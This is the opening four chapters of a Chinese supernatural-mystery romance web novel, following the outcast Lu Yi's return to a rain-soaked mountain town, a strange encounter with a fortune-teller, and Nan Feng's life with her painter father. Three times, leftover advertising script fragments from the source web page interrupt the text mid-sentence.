《夏夜诡诗[复活+悬疑]》 1. 命运的齿轮 这一年五月是多灾多难的一个月,一场突如其来的山火烧了三天三夜,好不容易等来降雨助力,谁知下了足足半个月的瓢泼大雨又带来了泥石流,给这座山城造成了巨大的经济损失。虽然没有人员伤亡,但泥沙、石块冲破了不少民房和设施,使得整座城市陷入一片黑暗,整整一周后才恢复供水供电。 灾难平息后紧接着就进入了梅雨季,被梅雨侵袭的半山城终日下着淅淅沥沥的雨。在风的加持下,雨水更加肆意妄为,它们在空中盘旋、舞蹈再瞄准时机落下,打得路上行人措手不及。阴沉沉的雨天,出摊的人比平时少了许多,最后只剩下约莫十来个人,他们各个愁眉苦脸,低着脑袋不断唉声叹气,好像要被揉进这灰黑的雨天里。 大雨持续冲刷地面,扬起一股淡淡的泥土味,这样的天气根本不会有客人,到不如早些回去。商贩们连声抱怨,开始陆续收拾东西回家。忽地听见一个步履稳健的脚步声由远及近,小贩们以为是来了客人,纷纷期待地抬起脑袋。 这人身形挺拔高大,五官周正,一身正气。他背着一个很大的双肩包,鼓鼓囊囊的,俨然一副外乡客的打扮。男人用左手有些别扭地撑着一把伞型阔大的黑色雨伞匀速行走在道路中央,他的裤脚被雨水浸湿沾满泥渍,右手手腕处贴着好几片气味浓烈的膏药,混入水气侵入鼻腔。 少数小贩冷漠地低下了头,余下几人则纷纷冲他皱起眉头。这好像是陆家那个在外的小儿子,排骨摊的陈伯认出了陆易,投向他的目光满是唾弃。 男人对这样过于明显的态度转变感到十分悲伤,即便他从小到大都是在这样的环境里长大的,可过去了这么多年,他仍然无法抑制自己心中对于被接纳的渴望。 天空一片昏暗,大颗的雨滴打在伞上,沉闷不绝的“嘟嘟”声好似对他的不屑与嘲讽。又有几人拉着推车离开了,不知道是谁撞到了他,也没道歉,只是嘴里低声咒骂了一句便走远了。 他是半山城陆家的孩子,却在出生后不久就被丢弃,只因他是私生子,强势霸道的陆家太太无法容忍他的存在。母亲因难产断气后他就被送去了孤儿院,送他去的仆人不忍心,在襁褓中偷偷塞了一张纸,上面写着两个字:陆易。 比起“弃子”他更愿意当个彻头彻尾的孤儿对自己的身世一无所知,可偏偏十七岁那年父亲派人将他接了回去,并非陆家太太终于接受了他,而是因为陆家大儿子得病不治身亡,陆家绝了后,这才想起还有一个他。 他记得很清楚,那是八月的一天,酷暑难耐,飞虫在耳边嗡嗡作响,身上起的痱子还未完全褪去。三十平米的房间里足足摆了九张床铺,所有的孩子都在食堂里用餐,只有他留在寝室里磨磨蹭蹭地收拾着自己那少到可怜的行李。男孩手里的动作没停,耳朵却竖得高高的,借机偷听倚在门口那几人的谈话。 从他们口中他得知了自己的身世,句句扎心却执意要听下去。他想知道自己将要去的究竟是一个什么样的地方,面对的又是怎样的一群人。说“偷听”其实也不够准确,他们明目张胆地对着他指指点点大声议论,丝毫没有顾及他的自尊心,直到陆家派来接他的下人进来,门口的那几人虽没聊尽兴却也只能闭上嘴。 “小少爷,不用整理了。这些破旧的东西直接扔了就是,家里头给您准备了全新的。” 破旧的东西。 他看了看手上这件衣服,虽打了四个补丁却已经是他最好的一件了,这么多年只有在生日的时候他才舍得拿出来穿一天。而他说的生日指的是来孤儿院当天的日期,这里的每一个孩子都是这样的。 * 沉重的大门被推开,映入眼帘的是满院子的白色布帘,刚办完丧礼,要忙的事情还有许多,下人们好奇地看了他一眼又干活去了,只有一位婆婆迎了上来,“是陆易吗?”她的眼里储满泪水,将男孩上上下下仔细打量了一番,这便是当年送他去孤儿院的赵妈。 “是他来了吗?” 从正厅走出来一个大约六十岁左右的男人,两鬓已经花白了,他的身后跟了一位五十岁左右的女人,一手叼着烟,一手端着酒杯,眼神萎靡不振。陆太太刚失去孩子不久,只能终日靠着烟酒麻痹自己,浑浑噩噩的,一天里没有多少时间是清醒的。 亲生父子第一次见面,比起儿子年过半百的父亲反倒显得更加拘谨,他踌躇地搓着双手,眼神飘忽不定,靠近他的步伐带着些许尴尬与无措。男人身材高大,陆易又因长期的营养不良尤为瘦小,被他完完全全笼进阴影里。 “呃,”陆老爷张了张嘴,此刻才发现不知该如何称呼眼前的男孩,“你应该有十二岁了吧?待会儿给你起个名字,给你起个名字好吗?该叫你什么好呢?”他转过头向夫人征求意见,却被嗤之以鼻,“一个野种,叫什么名字有所谓吗?” 在场的下人全屏住了呼吸。当年那事在陆家是禁忌,娇纵跋扈的太太觉得失了面子从来不允许任何人说半个字,大家生怕这个男孩的出现又会引起一场腥风血雨。 “太太喝多了,送她上楼休息。” 经过丧子一事陆老爷已经不再像从前那般迁就她,虽然爱了她一辈子却也常常在她的强势中感到窒息,为了寻求安慰才有了那一次的意外,比起如今烟酒不离手的疯女人他更需要做的是为陆家留后。 陆太太瞪着陆易狠狠抽了一口烟,满脸不屑地“哼”了一声,在下人的搀扶下上楼去了,只是每上一步台阶她眼里对男孩的恨意就多一分,好像是他夺去了她心爱之物一般。 原来他们说的都是对的,原以为离开了孤儿院生活就能变好,现在看来不过是从一个牢笼换到另一个罢了。 黑黑瘦瘦的少年抬起头,阳光越过屋檐与男人的头顶落在他漂亮的浅色双眸。望着对面这双似曾相识的眼睛,本是热血美好的青春年华,少年的眼里却绝望如死海:“今年十七岁。我叫陆易,我不需要别的名字。” * 赵妈给他取名为陆易,她希望他今后的路可以走得容易些,可当真就能如愿吗? 距离上一次回到半山城已经是五年前的事情,陆易漫无目的地走在大街上,不知道自己该去哪里,不知道该做些什么。他在一个分岔口停下,左拐是一个小巷子,越往里越黑,看不清具体有多深;他又看向正前方——一半是雾,一半是雨,看起来像是一条通往山上的路。 要再往前走吗?他在心里这样问自己。犹豫之际,他感觉到有人轻轻拉了拉他右手的袖口,低头一看,是一位衣裳褴褛的老婆婆。 老婆婆看起来年纪八十有余,脸上布满深深的皱纹,双目却炯炯有神。虽鹑衣百结,但她穿在最里面的那件深色连帽斗篷的质地却十分有光泽。她披着一件粗麻布的旧外套,戴着一顶斗笠,脖子两侧隐约露出的银发给人一种独特的视觉感受,它不属于年轻,也不归于衰老,而是一份沉甸甸的神秘感。 “婆婆,有什么事吗?”陆易蹲下身体,把雨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伞往老人那边靠了靠。 “算命吗?这位年轻人。”她满脸期待地问。 陆易一时语塞,这才仔细看了看老人的摊位。不像别的商贩卖的是一些生活用品或是食物,她的摊子上摆了一副画着奇怪图案的卡牌,手里捧着一块巴掌大的玻璃球,隐约散发着淡淡的紫光,被她小心翼翼地护在怀里,除此之外就是几本用草绳捆在一起的旧书。如今这样的情况应该没有人会来光顾她的摊位,陆易有些心疼老人可他对算命没有兴趣。 还没来得及开口拒绝就听见隔壁的老伯说道:“神婆你可别招惹他,当年陆家的事你可能不清楚,这小伙子是个不祥之人,千万别跟他扯上关系!” 见婆婆没有理他,老伯又自言自语了几句:“我说最近怎么出这么多事,原来是扫把星回来了。”说完,老伯抬头看了看天色,又冲老人念叨道,“神婆,你不是说今天有天狗食月吗?还有机会看到吗?你看这街上都没人了,你也赶快收拾收拾回家去吧!” 雨越下越大,陈伯加快手里的动作一不小心将框子里的一整块猪肋排掉落在地,他可惜地直“啧”声。陆易好心替他捡起,却没得到好脸色,更别说一声“谢谢”了。陈伯当他不存在,抢过猪肋排用手嫌弃地擦了擦,扭头就推着推车离开了。 陆易默默收回手,面对这样的态度好像丝毫不生气。冷嘲热讽对他来说是家常便饭,如果说悲苦的成长经历教会了他什么的话,那便是隐忍和屏蔽。见到喜欢的东西他不会主动开口去要,因为知道自己不会得到,便学会了克制欲望;碰到不公平的待遇他也忍着,因为知道没有人会替他出头,他便选择将自己的哀怨统统隐藏。 活着对他而言更像是在完成一项任务。 小时候的他每日都期盼着能够逃离这个地方,以为只要离开了时间就可以洗去他身上莫须有的罪名,可已经整整过去了十年,那些被掩埋的记忆没能被遗忘,更像是一个抹不掉的符号早已深深嵌入他的皮肉里。 他依旧是个不被接受的人,同小时候没有分别。 不愿继续顾影自怜,陆易从口袋里掏出了一些纸币塞到婆婆手里:“婆婆,算命就不用了,但是这个希望您可以收下。” 老婆婆抬头望了一眼天,又低头凝视那颗玻璃球,那道紫光反射在陆易的眼球上彷佛越来越明显了,她的眼中闪过一丝担忧。 这时,前方传来两个男人的争吵声,好像是在争抢什么东西,互骂几句后便扭打在了一起。其中那位身型壮硕的男人看起来很是气愤,见这人死缠烂打,他拖起那名瘦弱的男子就往巷子里走去。 双方实力对比悬殊,放任不管怕是会出事。陆易刚作势要过去却被人紧紧拽住,手腕处先是感受到膏药收紧传来的一阵凉意,随后便是因压迫造成的剧烈疼痛。陆易十分吃惊地看着老婆婆,震惊于她那实在不像是这个年纪的人该有的力道。 “我想你最好是不要去。”老人语气严肃,脸上浮现出警告的意味。 陆易十分感谢婆婆的善意提醒。他不是爱管闲事的人,可这场景让他想起了曾经的自己,没办法置之不理。“我还是去看一下情况比较好。婆婆,你早点回家吧!”他把钱放下,又将手里的伞递到老人手上,随后起身毫不犹豫地向巷子的方向走去。 “哗哗”的雨声开始淹没一切声响。 老婆婆就这样静静地坐在那里看着陆易走远,看着他大步且坚定地走进那条小巷,走向他的命运。 2. 49 作为公共设施的一部分,路灯的建设与运营成本由政府全权承担。经济下滑导致税收减少,为节省开支半山政府出台了一项新条例:除了重要地点外,其余街区的路灯过了晚上十点将被统一关闭。 晚归的人要么自己备好手电,否则只能借着月光探路,如果不巧碰上像今天这样的月全食,大部分人是不会这么晚还在外边闲逛的。街上漆黑一片,伸手不见五指,纵使雨线飘飘模糊了视线,依稀可以看到一个不疾不徐的身影随着一道紫光的指引在黑夜里移动。 夜里11点50分,一个满头银发的佝偻背影出现在巷子里,她俯下身,任由裙摆被泥水浸湿。“这么漂亮又善良的孩子,真是可惜了。”随着一声叹息,一个低沉且苍老的女声响起。 夜里11点59分49秒。躲在草垛里呼呼大睡的黑色野猫“嗖”地睁开了双眼,前方的紫色强光令它感到不适。 雨已经停了,它跑到路中央抖了抖身体将最后一滴雨水排出,琥珀色的大眼睛紧盯着巷子口转了又转,黑色的小鼻子微微颤抖,细心分辨着。泛着荧光的双瞳目不转睛,最后像是悟出了些什么,小家伙抬起脑袋望着夜空,发现被吞没的红月正在以极度缓慢的速度重现。 “哒哒”几声,巷子里突然传出声响,吓得它一个激灵又将目光对准了巷口。有东西在移动!它要出来了! 一位身披连帽斗篷的老人从巷子里走了出来,这人单肩扛着一个庞然大物却不见有丝毫的费力,她甚至只用了一只手将那东西固定,而她的另一只手上捧着一颗玻璃球。 对上球心的紫光,黑猫全身的毛在瞬间炸立,原本柔软灵活的尾巴变得十分僵硬,高高翘起。它弓起后背摆出进攻的姿态,露着尖尖的爪子对着老人不断哈气,可这阵仗并没有吓倒对方,老人弯弯嘴角对它“嘘”了一声便自顾自地走远了,小家伙有了一种不战而败的落寞感,最后灰溜溜地跑开了。 凌晨3点整,圆圆的月亮高高地挂着。 陆易从迷迷糊糊中醒来,发现身体上方覆盖着一层重量,质地偏硬,不是饭店里的棉被,不仅带着一股霉味还叫他透不过气。他不悦地蹙了蹙眉,抬起右手推开那东西坐起——原来是两张旧凉席。 这是哪里?陆易用双手撑着地面站起来,疑惑地环顾四周。雨后的空气清新却太过潮湿,犹如一根根冰凉的丝线狡猾地从袖口处钻了进来,他觉得身体有些发凉,摸了摸身上却发现衣服并没有湿。等他移到巷子口,借着满月洒下的无限清辉,终于认出这是他下午闲逛的那条街道。一头雾水的男人从口袋里掏出怀表看时间,惊讶地发现自己居然在大街上睡了一个晚上! 踏出巷子口的那一瞬间,右边太阳穴突然传来一阵剧痛,就好像小时候孤儿院里调皮的大孩子拿石头砸他一般。一些不美好的回忆涌上心头,顷刻间将他击溃,陆易双手抱头表情痛苦,恍惚间还以为又回到了那个四面高墙的破旧小院。 大孩子们随手捡起地上的东西,看心情随机砸向比他们小的同伴,然后几个人聚在一起捧腹大笑,交换着“恶作剧”后的感受。伴随着他们的戏弄与挑衅,受了欺负的孩子只能缩成一团蹲在角落里瑟瑟发抖,他们不再寄希望于大人,也不再反抗。 不!男人深吸一口气努力让自己镇定下来,想必是睡糊涂了,误以为自己还是那个懦弱的五六岁小孩。 陆易警惕地往右看去,可现在是凌晨,街上根本没有半个人影,没有大孩子嘻嘻哈哈的捉弄,也没有大人指着他的鼻子骂,更没有穷凶极恶的歹徒袭击他。 难道刚刚的一切都只是幻觉吗? 这时,空荡荡的街头响起一个沙哑且诡异的声音,声线独特,叫人辨不出男女。无数道声波在空气中形成一圈圈白色的螺旋气流并持续向陆易旋转靠近,而那个声音在不断地叫唤着一个数字:49。 陆易愣愣地站着,倒不是被吓着了,而是身体因一股强大的无形外力无法动弹。眼看那“石头”马上就要砸向他的前额,他试图保护自己却什么也做不了,只好认命地再一次闭上双眼,像小时候每一次受欺负一样,心里祈祷着这一次他们选的石块能小一些,这样砸到他就不会那么疼了。 还好,这一次石头没有落下。 声音戛然而止,伴随着禁锢他的力量一起毫无预兆地消失了。明明站着什么都没能做却觉得筋疲力尽,他张开嘴大口呼吸,任由冰凉的夜风灌进身体激起一身的鸡皮疙瘩,起码这样能让他确定自己现在是清醒的。 刚刚的一切是什么?他确信自己听到了也看到了,可当这一切都消失之后他又不禁怀疑起刚刚那一切的真实性。带着这一份疑惑与不安,他一路上走走停停,时不时警惕地回头瞻望,走了好久...... * 这座山很高,悬崖峭壁,直耸云端,却在半山腰的位置多出了一层大平地。平坦的山坡上除了一栋两层楼的小房子外便只剩茂密的草地和小森林,再无其他人造建筑,可见房子的主人对大自然的热爱。 四周十分安静,甚至还可以听见远处树丛里传来猫头鹰微弱的“咕咕”声。清晨的薄雾遮挡住了远处的山峰,深浅不一的蓝色山线重峦叠嶂,神秘而庄严。空气薄而清爽,充斥着松香。 陆易很喜欢这个地方。 舟车劳顿,又莫名其妙地在大街上睡着了,现在只觉得浑身骨骼与肌肉发紧得难受。见四下无人,他干脆脱下衣物做起拉伸运动,热身结束后便绕着草坪开始了五公里的徒手跑步训练。 微凉的晨风吸入肺腑,五脏六腑仿佛都被清洗了一遍,混沌的脑子也逐渐变得清醒。 十七岁那年到了陆家后,虽然依旧看尽了脸色,但起码饭能吃得饱了。为了能够更好地保护自己他便有了健身锻炼的习惯,不过离开孤儿院之后就没人再对他动手了,在陆老爷的吩咐下下人们将他照顾的也算好,只不过再精壮的身体也无力抵挡那些向他扑面而来的谩骂与诋毁。 徒手跑结束后是负重跑五公里,这里当然没有沙袋,路边倒是有几个比较大的石块,防护网缺了好几个口,应该是从山体脱落的。 他挨个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱起来掂了掂重量想选个合适的,可就在抱起石头的那一瞬间,他突然想起自己的右手手腕处是有伤的,医生嘱咐过头几天绝对不能拿任何东西,哪怕是轻的。陆易凝视着那一层层缠绕的膏药百思不得其解,明明昨天还疼得连雨伞都拿不动,此刻竟然奇迹般地一点痛感都没有。 * 清晨4点49分,最后几颗残星退去,天渐渐破晓。大地朦胧,揭去一层层繁重的外衣只留下了最轻薄的一件。经过运动和大量的出汗后,笨重的身体在晨风里逐渐变得轻盈,陆易十分悠闲地躺在草坪上享受着这静谧的时刻,初生的阳光打在他棱角分明的脸上,深邃的瞳孔逐渐清晰,眼里的忧郁好像也散去了一些。 离家的这十年里他踏上过无数陌生的土地,看过繁华的都市也偶遇过人烟罕至的村落,其中不乏他钟意之地,却始终不曾在那片土地驻扎下来,因为心里总感觉少了些什么——一种被称之为归属感的东西。那些地方虽好,却不属于他。 东方新出的金色太阳带着暖意降临收走了最后一层薄纱,草地变得翠绿,林子里的小鸟们也开始叽叽喳喳地忙碌起来。 暗影逐渐褪去,眼前的房子开始展露它真实的面貌。这是一幢用灰白相间石头砌成的屋子,看起来十分结实,一楼有正前方和左侧两道门,正门对着草地与山谷,从侧门出来便是下山的路。单坡式的房顶和木头镶边的窗户,整栋房子看起来被维护得很好。 它被阳光抱在怀里,正散发着让人无法抗拒的温暖。陆易很喜欢这个房子,可他该下山了。 他放慢步子,不舍地在路口的树荫底下停住,没忍住再一次抬头观赏。两只蝴蝶飞到二层的窗边,窗外晾着几束干花,想必是被未朽的花朵香气吸引而来。它们其乐融融地绕着花苞翩翩起舞,像极了一对琴瑟调和的亲密恋人。如此美好的画面让他不由地感到好奇,这样的房子里面会住着什么样的人呢? 毫不吝啬地,房子下一秒就给了他答案。二楼窗户随着被推开的动作发出了“吱”的一声,在寂静的空间里显得十分顽皮且高调,陆易的目光也顺势从房子外墙转移到了窗户上。 那是一个年轻的女人,穿着一身宽松的白色上衣,干干净净的脸,散着一头浓密的黑发。她站在窗边伸了一个大大的懒腰,唤醒着饱睡后的身体,紧接着抬起胳膊熟练地抓起头发盘在脑后,之后便抱着双臂靠在窗架上,无比满足地闭眼享受清晨第一缕阳光的洗礼。 陆易痴痴地望着眼前这一幅景象不敢发出任何声音,怕惊扰了她。他探索过许多地方,此刻才发现自己一直寻觅的向往就在这片他决意逃离的故土上,好像他努力支撑了这么久就是为了这一刻与她的相遇。疲惫感与饥饿感瞬间消失,心脏像是漏跳了一拍,随后又狂烈地跳动起来,势必要追回乱掉的节奏。 眼里最后一丝负面情绪消失殆尽,被一种全新的陌生情感满满占据。女孩看着初旭,陆易看着她。距离太远,陆易看不清她具体的样子,却看清了自己的慌乱——他竟然对一个看不清长相的陌生人怦然心动! 3. 住在石头房里的人 终于出了太阳,趁着这个机会南枫把家里上上下下都打扫了一遍,因漫长雨季积累起来的郁闷与房子里的灰尘一起被赶了出去,忙完一整个上午,她支起僵硬的腰板用手背按了按额头上的薄汗,心情舒畅无比。 六月了,夏天马上就要来了。从二楼窗户往外看去,蓝色的天空中点缀着一朵朵像棉花糖一样可爱的云朵,小森林和草地,满眼的绿色植被在疯狂生长。谁会不喜欢蓝色和绿色呢?那是属于大自然的颜色啊!即便她十分害怕虫子,却也免不了热衷于在每个夏日清晨来到窗边,闭上双眼倾听蝉鸣,上千万只生命共同吟唱的乐章总是听不腻的。 当初大多数人为了生活的便捷都选择把房子建在城里,南枫的妈妈却独独钟情于山坡上这一块空地,于是他们便选择在这里安家落户,因为地理位置的特殊幸运地躲过了此次泥石流的冲击,对南枫而言就像是母亲在默默地保护他们。妈妈在她很小的时候就过世了,现在只有她和爸爸生活在这里,父女俩齐心协力把房子维护得好好的,不追求奢靡的生活,日子过得相当安稳。 爸爸南淇坤是城里一位小有名气的画家,在当地的一户大户人家任职绘画老师。他的学生林影和南枫年纪相仿,两人性格十分合得来,久而久之就走得越来越近。林大小姐的爱好是画画和参加舞会,常常拉着南枫陪她去舞会上寻找她的真命天子。南枫则喜爱文字和大自然,她在报社做兼职,工作量不固定也不必去报社上班,于是又找了一份家庭教师的工作,在顾家给两位小学生上课。 顾家不算什么名门望族,近些年才开始在飞洛和半山做进出口生意,虽然现在两国因一些特殊原因正处于断交状态,一切贸易都暂停了,但这么多年下来积蓄也不少。顾家有三个孩子,大儿子叫顾嘉诚,两个小的是小峰和小暖,是一对龙凤胎。小朋友们年纪还小,顾老爷对他们很是宠爱,难得有机会在家里长待他便决定不让孩子们去学校念书,而是选择聘请老师上门授课。 温柔的风吹响了花苞里的香气音符,当视线转移到楼下大门前空荡荡的草地时,一丝伤感不由地浮现在她干净透亮的脸上。南枫喜欢在楼下草坪种上各种各样的花,等花朵开得最美的时候再把它们带到集市上售卖。 种花,除了自己本身喜欢与赚取钱财之外也算是替母亲延续她的爱好,只是现如今大家生活都比较拮据,没有人愿意在柴米油盐之外的东西上花钱,花卖不出去便没再种了。 这时,一只白鸽衔着一小段树枝从窗前经过,将她的负能量一并带走。这大概就是夏天的魅力吧!夏天总是充满机遇与生命力,给人带来无限的可能,好像你不在夏日热情拥抱生活会是一种辜负。绚烂热烈的夏天,一切都有可能发生! * 南淇坤背着画具箱到家的时候女儿刚把午餐准备好,一楼餐厅的位置放着一张木质长方型餐桌,原始的木头纹路清晰可见,父女俩总是喜欢敞开大门,一边吃饭一边欣赏门外的景观。 “想说什么就说吧!”就餐期间,南枫发现父亲时不时地偷瞄她,频频欲言又止,他向来藏不住心事,不知这次又是因为什么。小动作被看破,南淇坤有些尴尬地清了清嗓子,缓缓道来:“今天上林宅的时候碰见顾家那个小子了,一直在跟我打听你。” “他没去踏青啊?”南枫问道,“我以为他们一家都去了呢!昨天是小峰跟我说的,说他们今天全家要出门玩,所以才不上课,我这可不是旷工啊!” “我说的不是这个。”南淇坤放下筷子,示意女儿话题扯远了。 “那是什么?” “感觉他对你挺上心的。” 南枫这才发现原来爸爸是在八卦:“你想说什么?” 南淇坤习惯性地瘪了瘪嘴:“你们两个岁数一样,如果合得来,我在想……” 还没等他说完南枫就笑着打断了他,表示自己和顾嘉诚没有往这方面发展的可能性。 “你们不是相处得蛮好的吗?” 南淇坤嘴上这样问,但听到南枫的回答心里却也松了一口气。虽说女儿已经到了适婚年龄,可孩子的离开作为父母总是难以接受的,况且在他看来顾家的大儿子虽秉性不坏,作为另一半却不够成熟体贴,还需沉淀下来好好磨练一番。 顾嘉诚长得不差,人也幽默开朗,他们三个玩得好归玩得好,可南枫对他并不是那样的感情。她虽说没谈过恋爱,但喜欢这种东西也不需要别人教。顾嘉诚能吃会玩,他们相处得是很好,但也就是普通朋友之间的感情。她没经历过爱情,却也知道那定是一场魂牵梦萦,让人心跳飙升的悸动。 * 午后的阳光温度适中,父女俩坐在草地上晒着太阳,有一句没一句地聊着天。南枫的头发长长了许多,每次洗头发都会洗到手酸,南淇坤劝她剪短一些,见女儿没吭声还以为她是在担心钱的事情。 “去店里剪吧,花不了多少钱。现在形式虽然严峻,但只要我们不大手大脚的日子还是能好好过的。” “我知道。”南枫淡淡地说道,“不关钱的事,是我对理发店有阴影。” 南淇坤这才想起来两年前她的头发在理发店被烫坏了,发质受损严重,每次洗头发都大把大把地掉。她怕挨骂没敢告诉他,一次没来得及整理被他发现了满地的断发,吓得南淇坤以为自己的宝贝女儿生了什么大病,硬是拽着她去医院做检查,南枫这才说出实情。那真是一段痛苦的过去,花了整整一年的时间她才有勇气不戴帽子出门,从那次之后南枫就再也不去理发店了。 南淇坤摸了摸女儿毛茸茸的脑袋安慰道:“没事,你像你妈妈,你妈妈头发就好。你看,马上就长好了!”提起离世的妻子不免又陷入对她深深的思念中,爽朗的笑容缓缓地从他脸上褪去,只剩无尽的失落。 南枫察觉到了爸爸的心事,有意岔开话题:“今天上午去买东西的时候又看到陈伯拉着顾客在讲故事了。这半山城就这么大,就这么些人,怎么总有他讲不完的八卦呢!?好像在说什么陆家,我怎么从来没听说过半山城有这么一家人?” “陆家?”南淇坤望向远处的山峰,开始在记忆中搜索,“好像曾经是有过。可惜一家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人在一场大火中过世了,我记得只有一个男孩活了下来,在当时是个大事件。那时候你还小,我怕你害怕就没跟你提过。不过那是很多年以前的事情了,怎么这会儿他们又说起这个了?” 对话被身后逐渐清晰的喘息声和跑步声打断,父女俩好奇地回过头,看见了满头是汗的顾嘉诚。他红着脸,胸口起伏明显,表情不自然地朝他们挥了挥手。 “咳!”南淇坤瞄了一眼女儿,识趣地起身,“我去找老赵下棋了。”南枫也跟着站了起来,进屋前还不忘嘱咐爸爸别忘了带几块肥皂回来,家里剩下的那些今早已经用完了。 * “你跑过来的?”南枫领着顾嘉诚进屋,贴心地帮他倒了一杯水。 “嗯!”他一口气喝完整杯,眼神闪躲,不敢看她。 南枫没发觉不对劲,还在开他玩笑:“今天舍得用腿了?你平时不是巴不得住在你的爱车里吗?每次去林影家都恨不得把车头塞进客厅才罢休。” “这不是他们都去踏青了,人太多,连我的车子都被借走了。”顾嘉诚语气没异样,但手指不断摩梭着杯口,显然是在紧张。南枫又给他重新倒了一杯,问他怎么没跟着一起去。顾嘉诚闻言“切”了一声,满脸的不屑:“我本来就不参加他们这种温馨的家庭聚会!” 南枫看了眼口是心非的好友,没说什么。在她看来顾嘉诚只是在吃醋罢了,在他小的时候顾老爷常年在外,父子两个待在一起的机会不多。每当顾嘉诚希望父亲陪着自己的时候却常常因为生意上的事情遭到拒绝,久而久之两人的关系不可避免地日渐疏远。 相较之下,父亲却特地为自己的弟弟妹妹请来家庭教师,为的就是能有多一些时间和他们相处。顾嘉诚将这一切看在眼里,心生不满,为此两个人总是闹别扭。 但南枫看得明白,不屑的外衣下藏着他受伤的心与满满的羡慕,而顾老爷之所以会对两个小的如此上心,其中有一部分原因源于对大儿子的亏欠。只可惜两人都放不下面子,总是没说几句又吵起嘴来,为此,南枫没少开导他,而顾嘉诚也难得能听得进去别人的话,顾家剑拔弩张的气氛才稍有改善。 “所以是什么事情这么重要,要劳烦顾少大老远地跑过来?” 顾嘉诚悄悄红了脸,好在他刚跑了几公里路,完美地掩盖了自己的羞涩:“我,我有些话想说。”人在紧张的时候总是喜欢假装忙碌,纵使两杯水下肚早已解了渴,他还是硬撑着又喝了一口以便掩饰自己的慌乱。看着顾嘉诚一改往常直言不讳,或者说口无遮拦的个性变得这样扭扭捏捏的让南枫好不习惯。 两分钟后,他鼓足勇气张了张嘴,不想肚子因承载过量发出了不合时宜的“咕噜”声。南枫没忍住笑了,顾嘉诚觉得没面子,红着脸不高兴地撇过头,不知道是在生她的气还是生自己肚子的气。眼前这人虽然已满二十四岁却依然幼稚,南枫只好拿出对付他弟弟妹妹的招数安慰眼前的巨婴。 顾嘉诚终在她的安抚下消了气,他转过身看着她,毫不掩饰的爱意在眼中肆意流淌:“我喜欢你,南枫。” 4. 告白 顾嘉诚的表情格外认真,是从前没有过的,这让原本还在嬉笑的南枫有些措手不及。“我一直都喜欢你,只是我从来都没对你说过,我好像总是在等某一个合适的时机,这不太像我。”说到这里,他有些不好意思地低下头,害羞的笑意攀上俊逸的脸庞,却让南枫有些不忍心看。 “都是因为林影,”提到这个名字他的眉眼间满是不悦,“她说过几天要带你去参加舞会,说是要让你认识更多优秀的富家子弟。你们两个关系向来要好,她肯定会帮你物色到很不错的人选。我就在想绝不能让别人抢占先机了,所以才急急忙忙地跑过来。”按照他原本的计划应该是要等到小峰和小暖放暑假的时候,到时候他会带上南枫去海岛度假,在蔚蓝的海边向她倾诉爱意。 南枫能想象得到林影说这话时候的神态,毕竟她不是第一次有这种想法了。她确实陪林影参加过很多次舞会,一开始是纯属好奇,在发现华丽表象下的虚幻浪漫后便再也提不起兴致了,但她还是会去,不是为了钓金龟婿,只是单纯地陪林影罢了。 南枫自认还是非常有自知之明的,她清楚地知道,男人其实比女人更现实,尤其是有权有势有财的男人。这些人的婚姻是不谈感情的,哪怕一开始他再怎样被普通家庭的女孩吸引,一旦涉及到利益他就会毫不犹豫地将她抛弃。 顾嘉诚怕她误会,连忙解释道:“我知道你这个人不贪慕虚荣,我不是这个意思。” 他当然清楚南枫的为人,若她真的是个爱慕虚荣的女人他就不会喜欢她了。只不过听说这次严家也会来参加舞会,严家是绝对的豪门,不仅家财万贯,两个儿子一个玉树临风一个气宇轩昂,是城里许多未婚女孩的理想对象。虽然自始至终顾嘉诚从未见南枫对哪个男人表现出感兴趣的样子,但这次的对手太强大,他真怕还没来得及告诉她南枫就被别人抢走了,到那个时候可真是做什么都晚了! “南枫,你觉得我怎么样呢?” 顾嘉诚的眼睛又大又黑,睫毛浓密,像极了小鹿的眼睛。加上刚刚跑了很长的路,他的双眼湿漉漉的,清澈又无辜,直勾勾地盯着你看的时候让人不忍心说半个“不”字。而他现在正在用这样的一双眼睛望着南枫,期待她接受自己。 南枫不愿意看到他伤心的表情,她低下头盯着自己的鞋尖,抿了抿唇道:“很抱歉,我……”她拒绝得很干脆,更何况他们关系好,她更应该说清楚。但顾嘉诚没有勇气听完,他自顾自地掏出了准备好的礼物,动作迅速到她根本来不及反应,等南枫意识到的时候戒指已经戴在了无名指上。 “这个是我对你的承诺,不是逼你嫁给我的意思,只是代表我的心意和决心。你可以慢慢考虑,想好了再回答我吧!”说完,他头也不回地跑走了。 戒指的尺寸太小了,她试了几次都没能摘下,反而勒得越来越痛。刚追到门口就看到方才上山累到呼哧大喘的顾家大少爷已经跑了百米开外,南枫看着他的背影无奈地叹气,烦闷的热浪在内心翻涌不息,沉重且压抑。顾嘉诚跑了一段路才停下,见南枫没继续追,产生了一种已经成功一大半的错觉,开心到合不拢嘴。 * 陆易如一阵疾风在街头狂奔,险些撞翻陈伯被指着鼻子一顿臭骂。自山上那一眼,他的内心早已被无限的热情与期待填满!抚着胸口感受掌心之下如擂鼓般的急促,他可以明显感觉到自己的改变,但他不愿意浪费时间去追溯原因。 生活本应该是这样的吗?从前的日子像是白活了一场,对他而言活着好像第一次变成了一件值得期待和开心的事情!因为他有了想见的人,有了想要做的事。 集市上,商贩们各个扯着嗓子叫卖以便快点将自己的产品推销出去,前来采购的人也费了不少心思,在几个摊位之间周旋,货比三家。只有一位婆婆静静地守着自己的位置,不急不躁,遗世独立。凑近一看,她卖的东西有些古怪,怪不得没有生意。看着老人脸上深深的皱纹,陆易有些于心不忍,于是蹲下身询问道:“婆婆,您这是在卖什么?” “卜卦。” 老婆婆抬头看了他一眼,态度有些冷淡,应该是把他当成好奇心重的年轻人,随口问问罢了。没想到陆易听后却爽快地在她对面坐下:“那帮我算一个吧!”老人又瞄了他一眼,态度依旧不热情,“想具体测哪一方面呢?” “感情!”陆易脱口而出。 像是预料错了一般,老人露出惊讶的目光,用审视的眼色不断打量着他,若有所思,随后用颤颤巍巍的双手开始洗牌,最终翻出了三张。她指指第一张牌:“大胆地行动,勇敢地决断。在爱情上你将发展一段真正亲密的感情。你们全心投入,相互倾诉,丝毫没有距离感。” 